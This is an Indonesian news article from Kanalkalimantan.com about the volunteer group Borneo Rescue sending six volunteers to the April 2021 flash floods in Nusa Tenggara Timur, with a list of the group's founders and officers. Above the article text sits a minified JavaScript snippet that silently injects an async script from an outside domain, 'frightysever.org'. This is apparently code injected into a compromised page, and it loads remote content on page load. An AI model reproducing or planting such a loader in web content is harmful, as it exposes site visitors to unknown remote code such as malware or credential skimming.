(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Emban Misi Kemanusiaan, Borneo Rescue Kirim 6 Relawan ke NTT

KANALKALIMANTAN.COM, BANJARBARU – Mengemban misi kemanusiaan, Borneo Rescue kirim tim relawan ke lokasi bencana banjir bandang di Provinsi Nusa Tenggara Timur (NTT).

Tim relawan Borneo Rescue terdiri dari 6 orang diterjunkan untuk membantu darurat penanganan pasca banjir bandang NTT. Termasuk membantu proses evakuasi korban yang hingga saat ini masih berlangsung dan terus diupayakan.

“Hari ini relawan Borneo Rescue dari Banjarbaru bertolak ke Surabaya dengan pesawat untuk bergabung relawan lain di Surabaya, kemudian dari Surabaya dengan kapal TNI berangkat ke NTT,” kata Ketua Borneo Rescue Ramadhani, kepada Kanalkalimantan.com saat pelepasan relawan di kafe Garis Kota, Senin (12/4/2021) siang.

Relawan misi kemanusian Borneo Rescue ke NTT dilepas pendiri Borneo Rescue Edi Sudarmadi dan Putra Qomaluddin. Doa bersama juga dilakukan menandai keberangkatan relawan ke NTT.

Pelepasan relawan Borneo Rescue yang diberangkatkan ke lokasi bencana banjir bandang NTT di kafe Garis Kota, Senin (12/4/2021). Foto: bie

Edi Sudarmadi, pendiri Borneo Rescue mengatakan, pengiriman relawan dari Kalimantan Selatan ini untuk ikut membersamai misi kemanusiaan di NTT.

“Kami selalu mendoakan agar misi ini berjalan lancar. Kalian yang diberangkatkan harus terus menjaga kesehatan di tengah pandemi. Jangan sampai kalian yang dikirim malah di-rescue,” beber Edy Sudarmadi
Selama berada di Nusa Tenggara Timur, tim relawan Borneo Rescue berkomitmen untuk membantu menjalankan setiap proses tanggap darurat yang diperlukan, demi meminimalisir dampak bencana yang terjadi.

Sementera itu, Putra Qomaluddin mengatakan, misi kemanusian dari Borneo Rescue ini disupport banyak pihak.
“Ada yang membantu dengan dana, ada yang dengan pikiran, ada dengan tenaga. Itulah misi kemanusian, semuanya terlibat dalam penanggulangan bencana,” ujar Putra Qomaluddin.

Wakil Ketua Borneo Rescue, Fahryan Noor menambahkan, misi mengirim relawan kemanusian Borneo Rescue ke lokasi bencana banjir bandang di NTT bisa terlaksana atas bantuan sejumlah pihak.

Pelepasan relawan Borneo Rescue yang diberangkatkan ke lokasi bencana banjir bandang NTT di kafe Garis Kota, Senin (12/4/2021). Foto: bie

“Ini misi kemanusian yang disupport berbagai donatur yang tidak bisa kami sebutkan namanya. Semoga menjadi amal kebaikan bagi semua,” kata Fahryan Noor.

Ditambahkan Fahryan Noor, misi relawan Borneo Rescue ke NTT untuk sementara 6 orang tersebut akan berada di lokasi bencana selama sepekan ke depan.

“Dua hari perjalanan, kita estimasi di sana seminggu. Kalau misal nanti di lapangan masih perlu waktu, relawan Borneo Rescue tidak menutup kemungkinan lebih dari seminggu,” beber Fahryan Noor.

Sekadar diketahui, Borneo Rescue baru saja terbentuk, saat bencana banjir besar di Kalsel, awal Januari 2021 lalu. Bermula dari misi penyelamatan dan penanggulangan banjir di Kalsel khususnya di wilayah Kabupaten Banjar, Batola, Tanah Laut hingga HST itulah Borneo Rescue pertama hadir.

Kelahiran Borneo Rescue dibidani sejumlah nama dan tokoh pegiat kemanusian dan sosial di Kalsel, diantaranya sebagai pendiri Hj Mislani Mansyur, H Ibnu Sina, Edi Sudarmadi, Rahmadian Noor, Putra Qomaluddin AN, Ronauli Saragi dan Aries Indra P.

Pembina Borneo Rescue diantaranya H Sunarto, Muhammad Sajali, dan Gusti Rifansyah Pengawas ada nama Donny Sophandi, Achmad Adji Suseno, Mohamad Zaenal Arifin Anis. Lembaga kemanusian Borneo Rescue Ketua Ramadhani, Wakil Ketua Fahryan Noor, Sekretaris: Hidayat Rizqi, Wakil Sekretaris Deni Arif Rahman, Bendahara Wahyudi, Wakil Bandahara Heru Iscahyono. (kanalkalimantan.com/bie)

Reporter : Bie
Editor : Kk